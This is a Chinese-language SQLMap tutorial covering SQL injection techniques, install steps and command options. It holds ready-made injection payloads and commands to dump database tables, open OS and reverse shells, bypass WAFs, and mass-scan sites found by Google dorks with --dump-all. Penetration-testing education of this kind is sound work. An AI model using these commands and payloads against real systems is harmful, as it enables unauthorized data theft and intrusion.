Sqlmap学习使用小总结
字数 1461 2025-08-26 22:12:02
SQLMap 使用全面指南
1. SQLMap 简介
SQLMap 是一个自动化的 SQL 注入工具,主要用于扫描、发现并利用给定 URL 的 SQL 注入漏洞。它支持多种数据库,包括:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- IBM DB2
- SQLite
- Firebird
- Sybase
- SAP MaxDB
2. SQLMap 支持的注入技术
2.1 基于报错的 SQL 注入
1) floor 报错注入
select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x
2) UpdateXml 报错注入
select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);
3) ExtractValue 报错注入
select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));
2.2 基于布尔的注入
通过构造 SQL 语句,通过判断语句是否执行成功来对数据进行猜解。
select table_name from information_schema.tables where table_schema=database() limit 0,1;
2.3 基于时间的盲注
利用时间延迟来判断查询是否存在。
select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(5),0);
2.4 联合查询注入 (UNION injection)
前提是页面上有显示位,可以使用 UNION 的情况。
注入过程:
- 判断注入点
- 判断是整型还是字符型
- 判断查询列数
- 判断显示位
- 获取所有数据库名
- 获取数据库所有表名
- 获取字段名
- 获取字段中的数据
2.5 堆查询注入 (stack injection)
可以同时执行多条语句的注入。
3. SQLMap 安装
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-test
4. SQLMap 基本选项
4.1 常用选项
--version: 显示版本号-h,--help: 显示帮助信息-v VERBOSE: 详细级别 (0-6,默认为1)
4.2 目标选项
至少需要设置一个目标选项:
-d DIRECT: 直接连接数据库-u URL,--url=URL: 目标URL-l LIST: 从Burp或WebScarab代理日志解析目标-r REQUESTFILE: 从文件载入HTTP请求-g GOOGLEDORK: 处理Google dork结果作为目标URL-c CONFIGFILE: 从INI配置文件中加载选项
5. SQLMap 基本使用
5.1 基础命令
./sqlmap.py -u "http://www.xxx.com" # 检测注入点
./sqlmap.py -u "http://www.xxx.com" --dbs # 枚举数据库
./sqlmap.py -u "http://www.xxx.com" --tables # 枚举表名
./sqlmap.py -u "http://www.xxx.com" --columns -T 数据库表名 # 枚举字段
./sqlmap.py -u "http://www.xxx.com" --dump -T 数据库表名 -C "字段1,字段2,字段3" # 导出数据
5.2 初级使用
sqlmap.py -u "http://url/news?id=1" --dbs # 查询数据库
sqlmap.py -u "http://url/news?id=1" --current-db # 获取当前数据库名称
sqlmap.py -u "http://url/news?id=1" --current-user # 获取当前用户名称
sqlmap.py -u "http://url/news?id=1" -D DataName --tables # 获取指定数据库的表
sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" -D "db_name" -v 0 # 列字段
sqlmap.py -u "http://url/news?id=1" -D DataName -T TableName -C "admin,password" --dump -v 0 # 获取字段数据
6. SQLMap 进阶使用
6.1 利用Cookies
sqlmap.py -u "http://url/news?id=1" --cookie "COOKIE_VALUE"
6.2 表单枚举
./sqlmap.py -u "http://www.xxx.com" --forms
6.3 指定表单数据
./sqlmap.py -u "http://www.xxx.com" --data "tfUName=1&UPass=1"
6.4 交互式shell使用
./sqlmap.py -u "http://www.xxx.com" --os-cmd "ipconfig" # 执行系统命令
./sqlmap.py -u "http://www.xxx.com" --os-shell # 交互式系统shell
./sqlmap.py -u "http://www.xxx.com" --os-pwn # 反弹shell
./sqlmap.py -u "http://www.xxx.com" --sql-shell # SQL交互shell
6.5 配合Google Hacking使用
sqlmap.py -g "site:xxxxx.com inurl:php?id=" --dump-all --batch
6.6 WAF绕过
./sqlmap.py -u "http://www.xxx.com" -v 3 --dbs --batch --tamper "space2hash.py"
常用tamper脚本:
- space2hash.py
- space2morehash.py
- base64encode.py
- charencode.py
6.7 智能level测试等级
sqlmap.py -u "http://www.2cto.com/news?id=1" --smart --level 3 --users
7. 数据库信息收集SQL语句
7.1 Oracle
select table_name,row_nums from user_tables order by row_nums desc [where table_name like '%%']
select * from [table_name] where numrow<=10
7.2 MySQL
select table_name from information_schema.tables [where table_name like '%%']
select * from [table_name] limit 10
7.3 SQL Server
select a.name,b.rows from sysobjects a with(nolock) join sysindexes b on b.id=a.id where a.xtype='u' and b.indid in (0,1) order by b.rows desc
select top 10 * from [table_name]
8. SQL盲注相关函数
8.1 mid()
从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
8.2 limit()
返回前几条或中间某几行数据
select * from table limit m,n; # 从第m条记录开始返回n条记录
8.3 concat/concat_ws/group_concat
连接字符串
select concat('123','456'); # 返回'123456'
select concat_ws('.','123','456'); # 返回'123.456'
8.4 count()
统计元组个数
select count(*) from user;
8.5 rand()
产生0~1的随机数
select rand(),rand();
8.6 group by
对结果进行分组
select * from user group by username;
8.7 length()
返回字符串长度
select length('xianzhi'); # 返回7
8.8 substr()
截取字符串
select substr('abcdefghijk',4,8); # 返回'defghijk'
8.9 ascii()
返回字符串的ASCII码
select ascii('A'); # 返回65
9. 总结
SQLMap 是一个功能强大的自动化SQL注入工具,掌握其使用方法对于安全测试人员至关重要。本文涵盖了SQLMap的基本使用、进阶技巧以及相关SQL函数,可作为SQL注入测试的参考手册。使用时请遵守法律法规,仅在授权范围内进行测试。